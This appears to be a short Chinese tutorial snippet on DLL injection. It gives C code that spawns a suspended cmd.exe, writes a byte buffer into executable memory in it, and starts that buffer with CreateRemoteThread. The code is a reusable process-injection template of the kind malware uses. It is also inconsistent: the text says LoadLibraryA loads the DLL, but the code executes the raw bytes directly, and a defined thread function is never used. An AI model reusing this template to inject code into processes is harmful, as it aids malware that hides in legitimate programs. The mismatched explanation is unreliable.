注入 DLL : 使用 VirtualAllocEx 在目标进程的内存中分配空间,并使用 WriteProcessMemory 将 DLL 的字节流写入目标进程的内存。然后,通过 CreateRemoteThread 或 NtCreateThreadEx 在目标进程中执行 LoadLibraryA,加载该 DLL。
示例代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 #include <windows.h> #include <stdio.h> unsigned char dllBytes[] = { }; size_t dllSize = sizeof (dllBytes);DWORD WINAPI ThreadFunction (LPVOID lpParam) { Sleep(10000 ); return 0 ; } int main () { STARTUPINFOA si = { sizeof (si) }; PROCESS_INFORMATION pi; if (!CreateProcessA( NULL , "C:\\Windows\\System32\\cmd.exe" , NULL , NULL , FALSE, CREATE_SUSPENDED, NULL , NULL , &si, &pi)) { printf ("CreateProcessA failed: %lu\n" , GetLastError()); return 1 ; } LPVOID remoteMemory = VirtualAllocEx(pi.hProcess, NULL , dllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!remoteMemory) { printf ("VirtualAllocEx failed: %lu\n" , GetLastError()); TerminateProcess(pi.hProcess, 1 ); return 1 ; } SIZE_T bytesWritten; if (!WriteProcessMemory(pi.hProcess, remoteMemory, dllBytes, dllSize, &bytesWritten)) { printf ("WriteProcessMemory failed: %lu\n" , GetLastError()); VirtualFreeEx(pi.hProcess, remoteMemory, 0 , MEM_RELEASE); TerminateProcess(pi.hProcess, 1 ); return 1 ; } HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL , 0 , (LPTHREAD_START_ROUTINE)remoteMemory, NULL , 0 , NULL ); if (!hThread) { printf ("CreateRemoteThread failed: %lu\n" , GetLastError()); VirtualFreeEx(pi.hProcess, remoteMemory, 0 , MEM_RELEASE); TerminateProcess(pi.hProcess, 1 ); return 1 ; } ResumeThread(pi.hThread); WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(hThread); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return 0 ; }